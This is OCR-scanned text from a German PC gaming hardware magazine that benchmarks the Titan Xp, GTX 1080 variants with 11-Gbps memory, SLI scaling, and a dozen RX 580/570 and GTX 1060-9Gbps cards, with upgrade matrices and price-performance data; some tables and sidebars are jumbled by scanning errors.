bisher getesteten Grafikkarten im 
Leistungsindex (Seite 19) sowie 
die Leistungsnoten im Einkaufs- 
führer (Seite 120). Im gewichteten 
Mittel kann sich die Titan Xp um 
4,9 Prozent von der zweitschnells- 
ten Grafikkarte - die halb so teure 


аа 


Gigabyte СТХ 1080 Aorus 86 11Gbps: Die kleine" Schwester der СТХ 1080 Ti Aorus 


sieht ebendieser zum Verwechseln ähnlich. Dank Triple-Slot-Kühlung ist sie angenehm 


leise und dank 250W Powerlimit außerdem schnell (Mindestboost: 1.873 MHz). 
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The Witcher 3, 1440p, kein Gameworks, Ingame-AA/16:1 AF - „Boat Trip" 


Geforce GTX 1080 Ti/11G. s 03,2 (+23 96) 
Zotac GTX 1080 AMP! Extreme+ s.l 85,3 (+13 96) 
Gigabyte GTX 1080 Aorus 8G 11Gbps Es I 83,5 (+11 96) 
Asus GTX 1080 Strix O8G-11Gbps El 82,6 (+9 %) 
Geforce GTX 1080/8G-11Gbps = 78,1 (+3 %) 
Geforce GTX 1080/8G aa 75,5 (Basis) 
Geforce GTX 1070/8G ÜBEN 58,7 (-22 96) 
Geforce GTX 980 Dep Xt 54,9 (-27 96) 
Radeon R9 Fury X/4G Egg! 53,9 (-29 %) 
Geforce GTX 980/46 an 45,4 (-40 %) 
Radeon RX 580/8G |n 43,1 (-43 96) 
Geforce GTX 1060/6G-9Gbps put 42,5 (-44 %) 
Geforce GTX 1060/6G [39 41,4 (-45 %) 
Radeon RX 480/8G || 41,1 (-46 96) 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiB 
Corsair DDRA-3000 (1T); Windows 10 x64, GF 382.05 WHQL, RS 17.5.1, HQ-AF 
Bemerkungen: Messungen erst nach Aufheizperiode, um realistische Boosts zu erhalten. 
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Geforce GTX 1080 Ti - absetzen. 
Enthusiasten sollten ihren Blick 
auf die Einzelindizes der höheren 
Auflösungen WQHD und UHD len- 
ken, denn unter Full HD hemmt 
die Prozessorleistung teilweise die 
Bildrate. Das bessert sich in 2.560 
x 1.440 Pixel, wo die Titan Xp ihren 
Abstand auf 5,2 Prozent ausbaut. 
Doch erst in 3.840 x 2.160 schlägt 
die Rohleistung des Nvidia-Flagg- 
schiffs vollständig durch, womit es 
sich um acht Prozent von der GTX 
1080 Ti distanzieren kann. Dieses 
Ergebnis passt wunderbar zu den 
Rohdaten, welche wir uns an dieser 
Stelle zurück ins Gedächtnis rufen: 
+7 Prozent Rechenleistung sowie 
+14 Prozent Speichertransferrate. 


Somit ergeben sich die folgenden 
Leistungsindizes (gesamt) - weite- 
re Daten finden Sie auf Seite 19: 


I Titan Xp: 100% 
I GTX 1080 Ti: 95,3 % 
I Titan X: 94,3% 
I GTX 1080-11Gbps: 80,9 % 
I GTX 1080: 791% 
SLI-Ausflug 


Die Mifcom Blackbox erreichte 
uns im Maximalausbau mit gleich 
zwei der sündteuren Titanen. Die- 
se Chance nutzen wir für frische 
SLI-Benchmarks. Dabei schließen 
wir alle Limitfaktoren abseits der 
Grafikkarte(n) bestmöglich aus und 
gleichen sie denen unserer Grafik- 
karten-Testsysteme an. Der werk- 
seitig installierte und auf 4,0 GHz 
übertaktete Core i7-6900K (8C/16T) 
verkraftet die 4,4-GHz-Einstellung 
Grafikkarten-Testrechner 
und auch der Speicher läuft ohne 
Probleme mit DDR4-3000 sowie 1T 
Command Rate. Damit die Bench- 
marks zweifelsfrei vergleichbar sind, 


unserer 


deaktivieren wir zwei Kerne, womit 
die Blackbox optimal konfiguriert 
ist - vor allem unter der Multi-GPU- 
Prämisse, denn der Prozessor kann 
jedem der beiden Titanen volle 16 
PCI-Express-Lanes zur Verfügung 
stellen, während der sonst von 


PCGH verwendete Core i7-6800K 
nur eine 8/16-Konfiguration erlaubt. 


In der Praxis hinterlässt SLI (Stand: 
Mai 2017) einen guten, wenn auch 
nicht vollends überzeugenden Ein- 
druck. Die (De-JAktivierung des 
Multi-GPU-Renderings funktioniert 
zuverlässig mithilfe der Nvidia-Sys- 
temsteuerung und auch SLI-AA-Modi 
(8x, 16x) stehen zur Verfügung - 
zumindest theoretisch, denn in der 
Praxis arbeitet kaum ein modernes 
Spiel mit diesen Modi zusammen; für 
ältere Direct-3D-9-Titel kann die Auf- 
wertung mit möglichst vielen Samp- 
les pro Pixel jedoch hilfreich sein. 


Obwohl wir alle Messungen in der 
Ultra-HD-Auflösung durchführen 
und SLI-Brücken mit hoher Trans- 
ferrate angeschlossen sind, fällt 
die Skalierung von einer auf zwei 
Titan Xp nicht optimal aus. Im bes- 
ten Fall, The Witcher 3, klettert die 
Bildrate um 70 Prozent. Das ebnet 
Ausflügen mit noch höherer Auf- 
lösung mittels DSR den Weg. Und 
tatsächlich, selbst 5.760 x 4.320 
G6K*^) ist spielbar, die Bildrate be- 
wegt sich trotz aktiver Gameworks- 
Effekte im 50er-Bereich. Sogar 
8K ist mit etwas Leidensfähigkeit, 
ohne Gameworks und einer Über- 
taktung der Grafikkarte möglich 
- 35 bis 45 Fps auf Skellige haben 
wir zuvor noch nicht gesehen. Die 
Bildausgabe verläuft zu keiner Zeit 
so flüssig wie mit nur einer GPU, 
dennoch kämpft sich SLI in neue 
(teure) Leistungsregionen vor. (ru) 


Fazit Hardware 


Titan Xp und GTX 1080-11Gbps 
Mit der Titan Xp hat Nvidia erneut auf 
dem Leistungsthron Platz genommen. 
Käufer sollten die Kühlung verbessern, 
um das Produkt wirklich auszureizen 
und den Aufpreis gegenüber GTX- 
1080-Ti-Karten ansatzweise rechtzu- 
fertigen. Die GTX 1080 bleibt derweil 
das beste Angebot ab 500 Euro — mit 
und ohne 11-Gbps-Speicher. 


Lara Croft in 8K-Auflösung vs. SLI 


Die Frametime gibt den Zeitraum an, welchen die Berechnung einzelner Bilder 
dauert. Je mehr Frames pro Sekunde (Fps), desto kürzer diese Zeit, desto besser. 
Grundsätzlich sollte die Ausgabe regelmäßig stattfinden, um einen flüssigen 
Eindruck zu vermitteln. In der Praxis werden die Frametimes durch einige Faktoren 
unregelmäßig, beispielsweise durch einen Nachladeruckler wegen Speichermangels 
oder weil die Festplatte die Daten nicht schnell genug bereitstellen kann. Im Falle 
von SLI und Crossfire ist eine unregelmäßige Frame-Ausgabe eher Regel denn 
Ausnahme, die Kommunikation mehrerer GPUs untereinander verläuft selten opti- 
mal. Das Folgende ist nur ein Beispiel — ein extremes, denn es zeigt, ob Rise of the 
Tomb Raider in 8K-Auflösung spielbar ist. Je größer die Ausschläge, desto größer 
auch die Zeitdifferenz zwischen einzelnen Frames. 


Frametimes mit GTX 1080 Ti (11 GiByte) 
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=" GRAFIKKARTEN | 12 x RX 500 & GTX 1060-9Gbps im Test 


RX 500 vs. GTX 1060 


Schlagabtausch in der Mittelklasse: Wir testen 12 brand- 
neue Grafikkarten bis 350 Euro und geben außerdem 


hilfreiche Aufrüsttipps. 


1 


Sapphires Nitro-Grafikkarten tragen Die jeweils schnellsten Designs aus Gigabytes Powercolor fáhrt bei seinen Topmodellen zweigleisig: Die RX 
gewóhnlich eine schwarze Abdeckung — Aorus-Portfolio tragen 2,5-Slot-Kühler im einheit- 570 Red Devil nutzt das lange Design der RX 480 aus gleichem 
bei der RX 580 Ltd. Edition ist sie grau. lichen Look (im Bild: GTX 1060 und RX 580). Hause, die RX 580 Red Devil ein kürzeres 2,5-Slot-Design. 
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12 x RX 500 & GTX 1060-9Gbps im Test | GRAFIKKARTEN 


3 Prozent von über 3.000 Teil- 

nehmern geben bei der jüngs- 
ten PCGH-Umfrage zum Thema 
Grafikkarten-Budget an, gewöhn- 
lich 150 bis 350 Euro zu investieren. 
Die meisten Stimmen entfallen da- 
bei auf die Segmente zwischen 300 
und 350 sowie 250 bis 300 Euro, 
gefolgt von der 150-bis-200-Euro- 
Sparte. Ein Blick auf die monatliche 
Steam-Hardware-Umfrage verleiht 
den genannten Preisbereichen 
zusätzliches Gewicht, ein großer 
Teil der dort vertretenen Spieler- 
schaft setzt auf eine Geforce GTX 
960/970/1060 und 1070; die ver- 
breitetste AMD-Grafikkarte ist die 
Radeon RX 480. 


Dieser Artikel widmet sich der 
Frage, welche aktuellen Mittel- 
klasse-Grafikkarten ihr Geld wert 
sind, denn mit Erscheinen der 
RX-500-Serie von AMD und Nvi- 
dias GTX 1060-9Gbps hat die Mo- 
dellvielfalt stark zugenommen. 
Um Licht ins Dickicht zu bringen, 
testen wir 12 neue Gaming-Grafik- 
karten zwischen circa 180 und 340 
Euro und geben außerdem Aufrüst- 
tipps. Weitere Vergleichsobjekte 
finden Sie auf Seite 120. 


Gezielt aufrüsten 

Für diesen Artikel haben zwei 
weitere Grafikkartenmodelle 
den PCGH-Leistungsindex absol- 
viert: die Geforce GTX 1060 mit 
9-Gbps-Speicher (6 GiByte) und 
die Radeon RX 580 mit 4 GiByte. 
Beiden gemein ist, dass sie nicht 
als Referenzdesigns erhältlich sind, 
sondern ausschließlich in Form un- 
terschiedlicher Custom-Versionen 
der Boardpartner. Dennoch haben 
diese Grafikkarten den kompletten 
mit  Referenztaktraten 
absolviert, um die Grundleistung 
zu bestimmen, anhand derer wir 
die Leistungsnoten und Aufrüst- 
matrizen erstellen. 


Parcours 


Dem Aufrüsten wird in diesem Arti- 
kel eine wichtige Rolle zuteil. Valide 
und plakative Übersichten, welche 
Grafikkarte wie viel schneller als 
eine andere ist, sind medienüber- 
greifend Mangelware. Wir haben 
daher Aufrüstmatrizen mit unserer 
kompletten aktuellen Benchmark- 
Datenbank erstellt. Zum Einstand 
hilft Ihnen ein Blick auf das Preis- 
Leistungs-Verhältnis unten. Model- 
le unterhalb der Trendlinie sind 
besonders lohnenswert. 


Wussten Sie, dass ... 


.. der Radeon-Wattman bei RX-5 


1,175 und meist nur 1,150 Volt — a 
getesteten RX-570-Karten erlauben 


tragen, die älteren mit 8-Gbps-RA 
.. die Polaris-20-GPUs nach Güte 
de la Créme mit besonders guten e 
genannt und kommt auf den stárks 
knapp darunter ein. Die Radeon RX 


1,200 Volt GPU- und RAM-Controller-Spannung zulässt? 
Bei RX-400-Karten betrágt der Maximalwert hóchstens 


80-Grafikkarten bis zu 


uch die von uns 
hóchstens 1,150 Volt. 


.. vier verschiedene GDDR5-Typen auf den RX-500-Karten eingesetzt 
werden? Je nach Modell stammen die Speicherbausteine entweder von 
Samsung, SK-Hynix, Micron oder Elpida (= ebenfalls Micron). 


.. GTX-1060-GPUs mit 9-Gbps-Speicher die Bezeichnung GP106-410 


hingegen GP106-400? 


selektiert und benannt werden? Die Créme 
ektrischen Eigenschaften wird XTR 

en Modellen zum Einsatz. XTX reiht sich 
570 setzt indes auf Polaris 20 XL. 


.. GTX-1060-GPUs im 2D-Betrieb (Desktop, Video, Textverarbeitung) konstant 


mit 0,625 Volt Kernspannung arbei 


.. freie Lötstellen für zwei weitere 


en? 


GDDR5-Speicherbausteine auf allen im 


PCGH-Labor anwesenden GTX-1060-Karten anzutreffen sind (siehe Bild)? 


Ë @ 
r с 


Grafikkarten bis 500 Euro: Preis-Leistungs-Verhàltnis іп дег Ubersicht 
500 9 500 
D Geforce 
450 450 
Bi Radeon Ps 
i 
400 © A 400 
350 р 350 
о 
£ зо > 300 
ul 
£ 250 250 
š 9 o0 
Š Ф 
& 200 © 200 
150 г — 150 
100 100 
50 50 
0 0 
0% 10% 20% 30% 40% 50% 60% 70% 80% 90% 100% 
Normierter PCGH-Leistungsindex in Prozent 
Grafikkarte Index Preis/ Leistungs- Index Circa-Preis Grafikkarte Index Preis/ Leistungs- Index Circa-Preis 
Leistung index Open CL in Euro Leistung index Open CL in Euro 
AMD Radeon RX 570/4G 100% 41,2% 67,7% 180 AMD Radeon RX 580/8G 80,7% 48,0% 81,4% 260 
Nvidia Geforce GTX 1060/3G 98,8% 40,7% 51,8% 180 Nvidia Geforce GTX 1060/6G-9Gbps 77,8% 48,1% 54,3% 270 
AMD Radeon RX 480/4G 90,9% 43,7% 77,4% 210 AMD Radeon RX 480/8G 77,6% 46,2% 77,4% 260 
AMD Radeon RX 470/4G 90,6% 39,4% 65,7% 190 AMD Radeon RX 470/8G 73,4% 40,3% 65,7% 240 
AMD Radeon RX 580/4G 90,4% 45,5% 81,4% 220 Nvidia Geforce GTX 1070/8G 72,6% 64,8% 68,7% 390 
Nvidia Geforce GTX 970/3,5+0,5G 86,7% 39,7% 47,7% 200 Nvidia Geforce СТХ 1080/86 70,5% 79,1% 75,1% 490 
Nvidia Geforce GTX 1050 Ti/4G 82,8% 25,6% 31,9% 135 AMD Radeon R9 380/4G 69,4% 30,2% 53,5% 190 
Nvidia Geforce GTX 1060/6G 82,0% 46,9% 54,0% 250 Nvidia Geforce GTX 980/4G 55,4% 48,2% 52,8% 380 
Basis: PCGH-Leistungsindex in Relation zum bei Redaktionsschluss aktuellen Marktpreis. Die Zahlen in der ersten Spalte verraten die Platzierung im PCGH-Leistungsindex, die Farbe den GPU-Hersteller (Rot = AMD, Grün = Nvidia). 
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Aufrüstmatrix 1.920 x 1.080 


Aufrüstmatrix 2.560 x 1.440 


Full-HD-Index Titan Xp GTX GTX 1080- | GTX 1080 | GTX 1070 | GTX 1060- | RX 580/8G GTX RX 580/4G | RX 570/4G | GTX 1050 | RX 460/4G 
1080 Ti 11Gbps 9Gbps 1060/6G Ti 

GTX 1080 Ti +3 % +0% -12 96 -14 96 -28 % -46 % -48 % -47 % -51 96 -55 % -71 96 -78 % ©. 
Titan X (Pascal) +4% +1% -11% -13 % -27% -46 % -48 % -47 96 -50 96 -55 % -71 96 -77 % ES 
GTX 1080-11Gbps | +17% + 14 96 +0% -2 96 -18 96 -39 96 -41 96 -40 96 -44 % -49 96 -67 % -74 9b 2 
GTX 1080 4 20 96 + 16 96 +2% +0% -17% -37% -40 % -39 % -43 % -48 % -67 % -74 % 3 
GTX 1070 + 44 % + 39 96 + 22 96 + 20 96 +0% -25 96 -28 96 -27 % -31 96 -37 9b -60 96 -69 96 = 
GTX 980 Ti +56 % +51% + 33 96 + 30 96 +8% -19 96 -22 % -20 96 -26 % -32 9b -57 96 -66 % = 
R9 Fury X +71% +66 % + 45 96 4 43 96 + 19 96 -11 96 -14 96 -13 96 -19 96 -26 96 -53 % -63 % pus = 
R9 390X + 102 % + 96 96 +72 96 + 69 96 4 41 96 +6% +1% +3% -4 96 -12 96 -44 96 -56 96 S = 
GTX 980 +91 96 + 85 96 + 62 96 + 59 % + 33 96 +0 % -4 96 -3 96 -9 96 -17 96 -47 9b -59 96 = Š 
GTX 1060-9Gbps +91% + 85 96 + 63 % + 60 96 + 33 96 +0% -4 96 -2 96 -9 96 -17 9b -47 % -58 % а Е 
RX 580/86 + 100 96 + 93 96 +70 96 + 67 96 + 39 96 +4% +0% +2% -5 96 -13 96 -45 96 -57 9b 5 = 
GTX 1060/6G 4- 96 96 4- 90 96 + 67 % + 63 % + 36 % +2% -2% +0% -7 % -15 % -46 % -57 96 5 = 
RX 480/8G + 108 % + 101 96 + 77 96 + 73 % + 45 % +9% +4% +6% -1% -10 % -43 % -55 96 ч Е 
R9 390 + 119 96 + 112 96 + 86 96 + 83 96 + 52 % + 14 % + 10 96 + 12 96 +4% -5 96 -39 96 -52 96 g 9 
RX 580/4G + 110 96 + 103 96 +79 96 +75 96 + 46 96 + 10 96 +5% +7% +0% -9 96 -42 96 -54 % хе 
R9 290X + 123 % + 116 96 + 90 96 + 86 96 + 55 96 + 16 96 + 12 96 + 14 96 +6% -3 96 -38 96 -52 96 = Ф 
АХ 570/46 + 130 96 + 123 96 + 96 96 + 92 % + 60 96 +20 96 + 15 96 + 17 96 + 10 96 +0% -36 % -50 % са 
R9 290 + 141 96 + 133 96 + 105 96 + 101 96 + 67 96 + 26 96 +21% +23 % +15% +5% -33 % -48 % & а 
СТХ 1060/36 + 119 96 + 112 96 + 86 % 4- 83 96 + 52 96 + 14 96 + 10 96 + 12 96 +4% -5% -39 % -52% De 
СТХ 970 + 129 96 + 122 96 +95 % 4 91 96 + 59 96 4- 20 96 + 15 96 + 17 96 +9% +0% -37 % -50 % = Š 
RX 470/4G + 140 % + 133 96 + 104 96 + 100 96 +67 % + 25 96 4- 20 96 * 23 96 + 15 96 +5% -34 % -48 % Š ° 
GTX 780 Ti + 136 96 + 129 96 + 101 96 + 97 96 + 64 % + 23 % + 18 96 + 20 96 + 1296 +3% -35% -49 % = 
GTX 780 + 173 % + 164 % + 132 % + 128 % + 90 96 + 43 % +37% +39% +30% +19% -25% -41% @ E 
R9 280X + 202 96 + 192 96 + 157 96 + 152 96 + 110 96 + 58 96 + 5196 + 54 96 + 44 96 +31% -17 % -34 % Ss 
R9 380/4G +217 96 + 207 % + 170 96 + 164 % + 121 96 + 66 96 + 59 % + 62 96 + 51 96 + 38 96 -12 96 -31 96 S 
R9 380/2G + 244 % + 234 % + 193 % + 187 96 + 140 96 + 80 96 + 73 96 + 76 96 + 64 96 + 50 96 -5 96 -25 % > 5 
GTX 1050 Ti/4G +261 % + 250 % + 208 % + 201 96 + 151 96 + 89 96 + 81 96 + 84 % + 72 96 + 57 96 +0 % -21 96 š 2 
СТХ 770/26 + 246 % + 236 % + 195 % + 189 % + 141 96 4- 81 96 + 73 96 + 71 96 + 65 % + 51% -4 % -25 % ч а 
СТХ 1050/26 + 324 % + 311 % + 261 96 + 254 96 + 195 96 + 122 96 + 112 % + 117 96 + 102 96 + 85 % + 17 96 -8 96 LE 
RX 460/2G + 409 96 + 393 % + 333 % + 325 % + 254 % + 166 % + 155 % + 160 % + 143 % + 122 % +41 96 + 1196 En 
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WQHD-Index Titan Xp GTX GTX 1080- | GTX 1080 | GTX 1070 | GTX 1060- | RX 580/8G GTX RX 580/4G | RX 570/4G | GTX 1050 | RX 460/4G 
1080 Ti 11Gbps 9Gbps 1060/6G Ti 

GTX 1080 Ti +5% +0 % -16 96 -19 96 -35 % -52 96 -53 96 -53 96 -56 96 -60 96 -75 9b -81 96 3 
Titan X (Pascal) +6% +1% -16 % -18 % -34 % -52 % -53 % -53 % -56 % -59 % -74 % -80 % ES 
GTX 1080-11Gbps | + 26 96 + 20 96 +0% -3 % -22 96 -43 96 -44 96 -44 % -47 % -52 96 -70 96 -77 % 2 
GTX 1080 + 29 96 + 23 96 +3% +0% -20 % -41 96 -43 % -43 9b -46 % -51 96 -69 % -76 9b 3 
GTX 1070 + 62 96 + 54 % + 28 % + 25 % +0% -26 % -28 96 -28 96 -32 9b -38 % -61 96 -70 96 E: 
GTX 980 Ti + 73 96 + 65 96 + 38 96 + 34 96 +7% -21% -23 % -23 % -28 % -34 9b -58 96 -68 % = 
R9 Fury X +86 96 +77 96 + 48 96 + 44 96 + 15 96 -15 96 -18 96 -17 % -22 9b -29 96 -55 % -66 % = = 
R9 390X + 12196 + 110 96 +76 96 +71% +37 % +1% -2 % -2 % -7 % -15 % -46 % -59 % EE 
GTX 980 + 118 96 + 107 96 + 73 % + 69 % + 35 96 -1 96 -3 96 -3 % -9 96 -17 % -47 % -60 % = Š 
GTX 1060-9Gbps + 119 96 + 109 96 + 74 96 + 70 96 + 36 % +0% -3% -2% -8 % -16 96 -47 % -59 % а Е 
RX 580/86 + 126 % + 115 96 + 79 96 + 15 96 + 40 96 +3 % +0% +0% -5 % -14 96 -45 % -58 % 5 = 
GTX 1060/6G + 125 96 + 114 96 + 79 % + 74 96 + 39 96 +2% +0% +0% -6 96 -14 96 -46 96 -58 96 s H 
RX 480/8G + 134 % + 123 96 4- 86 96 + 82 96 +45% +7% +4% +4% -2% -10 96 -43 96 -57 % ч Е 
R9 390 + 139 % + 128 % + 90 96 + 85 96 +48 96 +9% +6% +6% +0% -8 96 -42 96 -56 96 = È 
RX 580/4G + 139 % + 127 % +90 96 + 85 96 + 48 96 +9% +6% +6% +0% -9 96 -42 96 -56 96 x E 
R9 290X + 146 96 + 134 96 + 96 96 +91 96 + 52 96 + 12 96 +9% + 10 96 +3% -6 % -40 % -55 96 = d 
RX 570/4G + 161 % + 148 % + 108 % + 102 % + 62 % + 19 % + 16 96 + 16 96 +9% +0% -37 % -52 % әз 
R9 290 + 166 % + 153 96 + 112 % + 106 96 + 65 96 + 21 96 + 18 96 + 18 96 + 1196 +2% -36 % -51% <} m 
GTX 1060/3G + 161 96 4 148 96 + 107 96 + 102 96 +61 96 + 19 96 +15 96 + 16 96 +9% +0% -37 % -52 % De 
GTX 970 4- 166 96 + 153 96 + 11196 + 106 96 + 64 96 + 2196 + 18 96 + 18 96 + 1196 +2% -36 % -51% & Š 
RX 470/4G + 174 96 + 160 96 + 118 96 + 112 96 + 69 96 + 25 96 + 21 96 + 22 96 + 15 96 +5% -34 % -49 % Š ° 
GTX 780 Ti + 175 96 + 162 96 + 119 96 + 113 96 +70 96 + 26 96 + 22 96 4 22 96 + 15 96 +5% -33 % -49 % = 
GTX 780 + 217 % + 201 96 + 152 96 + 145 96 + 96 96 + 44 % +40 96 +41% +33 96 +21% -23 % -41 96 ө M 
R9 280X 4- 236 96 + 219 96 + 167 96 + 160 96 + 108 96 + 53 96 + 49 % + 49 % 4 41 96 + 28 96 -19 96 -38 % = ü 
R9 380/4G + 258 % + 240 % + 184 % + 177 96 + 121 96 + 63 96 + 59 % + 59 96 4- 50 96 + 37 96 -13 96 -34 96 S 

R9 380/2G +310 96 + 290 % + 226 % +218 % + 154 96 + 87 96 + 82 % + 82 % + 72 96 +57 96 -1 96 -24 9b > Б 
GTX 1050 Ti/4G +313 96 + 293 % + 228 96 + 220 96 + 156 96 + 88 96 + 83 96 + 84 % * 73 96 +58 96 +0 % -24 96 S 2 
СТХ 770/26 + 328 % + 307 % + 240 % + 232 96 + 165 96 + 95 96 + 90 96 + 90 96 + 79 96 + 64 96 +4% -21 96 E а 
СТХ 1050/26 + 423 % + 397 % + 315 96 4- 305 96 4 223 96 + 138 96 + 132 % + 133 % + 119 % + 100 96 + 27 96 -3 96 55 
RX 460/26 + 518 96 4- 488 96 + 391 96 + 379 % + 282 % + 182 % + 174 96 + 175 96 + 159 96 + 137 96 + 50 96 + 14 96 En 
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Geforce GTX 1060-9Gbps: Taktverlàufe über 15 Minuten 


Anno 2070 (WQHD alias 1440p) - „Ват!“ 
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1.820 E Asus GTX 1060 Strix O6G-9Gbps lil Gigabyte GTX 1060 Aorus Xtreme Ed. 9 Gbps Wi Zotac GTX 1060 AMP-- IB Zotac GTX 1060 AMP+ @ max. Powertarget 
1.800 


100 200 300 400 500 600 700 800 900 
Zeit (Sekunden) 


o 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiB Corsair DDRA-3000 (1T); Windows 10 x64, Geforce 382.05 WHQL, HQ-AF Bemerkungen: Während Asus’ und Zotacs Modelle stark power- 
limitiert sind und daher ihren Maximalboost nicht halten kónnen, ist die Gigabyte Aorus dazu in der Lage. Die Bonusmessung mit der AMP+ offenbart, dass tatsáchlich das Powerlimit und nicht etwa die Temperatur das Problem ist. 


Radeon RX 580: Taktverläufe über 15 Minuten 


Anno 2070 (WQHD alias 1440p) – „Ват!“ 
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Zeit (Sekunden) 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiB Corsair DDR4-3000 (1T); Windows 10 x64, Radeon Software 17.5.2 Non-WHQL, HQ-AF Bemerkungen: RX 580 ist nicht RX 580, das ist hier 
offensichtlich. Die Asus Dual ist stark powerlimitiert (aber dafür effizient), während die Powercolor Red Devil GS als einzige Karte ihren Boost felsenfest aufrechterhalten kann — zu deutlich höheren Energiekosten (siehe Testtabelle). 


Radeon RX 570: Taktverläufe über 15 Minuten 


Anno 2070 (WQHD alias 1440p) – „Ват!“ 
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1.100 | Powercolor RX 570 Red Devil 

IB Sapphire RX 570 Nitro+ 

1.050 |. mi Sapphire RX 570 Pulse ITX 

IB Sapphire RX 570 Pulse ITX - manuell undervoltet 


1.000 


0 100 200 300 400 500 600 700 800 900 
Zeit (Sekunden) 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiB Corsair DDRA-3000 (1T); Windows 10 x64, Radeon Software 17.5.2 Non-WHQL, HQ-AF Bemerkungen: Auch bei den RX-570-Modellen fällt 
Powercolor mit einem stabilen Maximalboost auf. Die anderen Probanden sind mehr oder minder powerlimitiert — vor allem die Pulse, bei der sich manuelles Undervolting (Bonusmessung in Blau) deutlich auszahlt. 
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m Test 


Asus Fan Connect: Die RX 580 Strix T8G offeriert an ihrem Heck zwei Lüfteran- 
schlüsse, welche sich mithilfe des Asus-Tools GPU Tweak Il steuern lassen. 


Leistung: Mittelklasse-Grafikkarten in Fu 


II HD 


The Witcher 3, kein Gameworks, Ingame-AA/16:1 АЕ - „Воаї Trip” 


Geforce GTX 1070/8G Xs 87,0 (+60 %) 
Geforce GTX 980 Ti/oG EEE 79,8 (+47 %) 


GTX 1060/6G OC @ 2.100/5.000 MHz* N 74,8 (+38 %) 
Radeon R9 Fury X/AG 74,7 (+38 %) 
Gigabyte GTX 1060 Xtreme 9Gbps/6G EEE 69,7 (+28 %) 
АХ 580/8G ОС @ 1.500/4.500 MHz* ET 69,2 (+27 %) 
Asus GTX 1060 Strix OC 9Gbps/6G ES] 68,5 (+26 %) 
Zotac GTX 1060 AMP!+/6G Fee 68,5 (+26 %) 
Geforce GTX 980/4G sed 66,6 (+23 96) 
Sapphire RX 580 Nitro+ Ltd. ,Boost" EEE 66,3 (+22 96 
Powercolor RX 580 Red Dev. GS Boost" EEG 65,7 (+21 96 
Gigabyte RX 580 Aorus XTR/8G EEE 65,7 (+21 96 
Powercol. RX 580 Red Dev. GS „Silent“ Best 65,1 (+20 96 
Sapphire RX 580 Nitro+ Ltd. ,Silent" Pest 65,0 (+20 96 
Asus RX 580 Strix ТОР/ВС ES 65,0 (+20 96 
MSI RX 580 Gaming X/8G EEE | 64,0 (+18 % 
Geforce GTX 1060/6G-9Gbps Een? 63,0 (+16 % 
RX 570/4G ОС @ 1.450/4.000 MHz* EN 62,9 (+16 %) 
Radeon RX 580/86 СО 62,5 (+15 90) 
Geforce GTX 1060/6G EB 61,2 (+13 96) 
Radeon RX 480/86 ll 60,2 (+11 %) 
Radeon RX 480/46 Xs 58,8 (+8 %) 
Sapphire RX 570 Nitro+/4G ES 58,0 (+7 %) 
Powercolor RX 570 Red Devil/4G ESS] 57,6 (+6 %) 
Asus RX 580 Dual OC/4G ESS] 57,2 (+5 %) 
Geforce GTX 1060/36 EA 57,1 (+5 %) 
Radeon АХ 570/4G. Xs] 55,2 (+2 96) 
Geforce GTX 970/3,5+0,5G stt 54,3 (Basis) 
Radeon R9 390X/8G [Esq 53,7 (-1 96) 
Geforce GTX 780 Ti/3G Xs 53,1 (-2 %) 
Sapphire RX 570 Pulse ITX/4G Eet 52,2 (-4 96) 
Radeon R9 290X/4G |n 49,6 (-9 96) 
Geforce GTX Titan/6G 8i 48,4 (-11 96) 
Radeon R9 390/8G. 5j] 47,5 (-13 96) 
Radeon R9 290/4G Eon 44,7 (-18 %) 
Geforce GTX 780/36 pant 44,6 (-18 96) 
Geforce GTX 770/4G. Loge 39,1 (-28 %) 
Radeon R9 380/4G. Egg 39,0 (-28 96) 
Geforce GTX 770/2G E3811 38,9 (-28 96) 
Radeon R9 380/2G [371 38,9 (28 96) 
Radeon R9 280X/4G [3r 37,3 (-31 %) 
Geforce GTX 1050 Ti/4G E33 35,8 (-34 %) 
Geforce GTX 1050/2G | 29,7 (-45 96) 
Radeon RX 460/46 ВОІ 22,0 (-59 96) 
Radeon RX 460/26 E301] 22,0 (-59 96) 


* Manuell übertaktet (Beispiel) 


System: Core i7-6800K @ 4,4 GHz, X99, 4 x 8 GiB DDR4-3000; Win 10 x64, GF 382.05, 
RS 17.5.1, HQ-AF Bemerkungen: Messungen erst nach Aufheizperiode, um realistische 
Boosts zu erhalten. Basis — verbreitetste Grafikkarte It. Steam Hardware Survey (April 2017). 


Mimil 2 Fps 
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Wie Sie auch anhand der Farben se- 
hen, stellt eine Radeon RX 580/570 
und Geforce GTX 1060 nicht für 
jedermann ein lohnenswertes Up- 
grade dar. Wer seit Jahren in der 
Mittelklasse zu Hause ist und daher 
noch ein Modell vom Schlage Rade- 
on R9 270(Х)280(Х)/380(Х) oder 
Geforce GTX  660/670/760/770 
verwendet, kann die Spieleleistung 
seines PCs jedoch effektiv erhöhen. 
Das gilt umso mehr, wenn das Up- 
grade auf einen WQHD-Monitor ge- 
plant ist - achten Sie bei Freesync 
und G-Sync darauf, die passende 
Grafikkarte zu kaufen. Wer hinge- 
gen eine GTX 970/780 Ti oder R9 
290(X)/390(X) nutzt, für den stellt 
erst eine GTX 1070 ein lohnenswer- 
tes Upgrade dar - dieses Nvidia-Mo- 
dell rutschte bei Redaktionsschluss 
deutlich unter die 400-Euro-Marke. 


Geforce GTX 1060-9Gbps (6 GiByte): 
Drei Effizienzmeister im Vergleich. 
Die Geforce GTX 1060 ist mittler- 
weile in drei Versionen erhältlich: 
mit 3 GiByte Speicher, mit 6 GiByte 
und einer Datenrate von 8 Gbps 
sowie - das ist neu - mit 6 GiByte 
und 9-Gbps-Speicher. Varianten mit 
nur 3 GiByte und 9-Gbps-RAM exis- 
tieren nicht. Das ist verschmerzbar, 
da diese Kapazität bereits unter- 
dimensioniert ist und wir daher 
zu Grafikkarten mit mindestens 
4 GiByte raten. Die Leistungs- 
indizes der verfügbaren Karten 
mit Referenztaktraten lauten 48,1 
(6G-9Gbps), 46,9 (6G-8Gbps) und 
40,7 (3G-8Gbps) und sind somit 
mit denen der Radeon RX 580 und 
RX 570 vergleichbar. 


Die Spieleleistung der Geforce GTX 
1060/6G ist folglich auf Augenhóhe 
mit der Radeon RX 580/8G, in der 
Praxis führt mal die eine und mal 
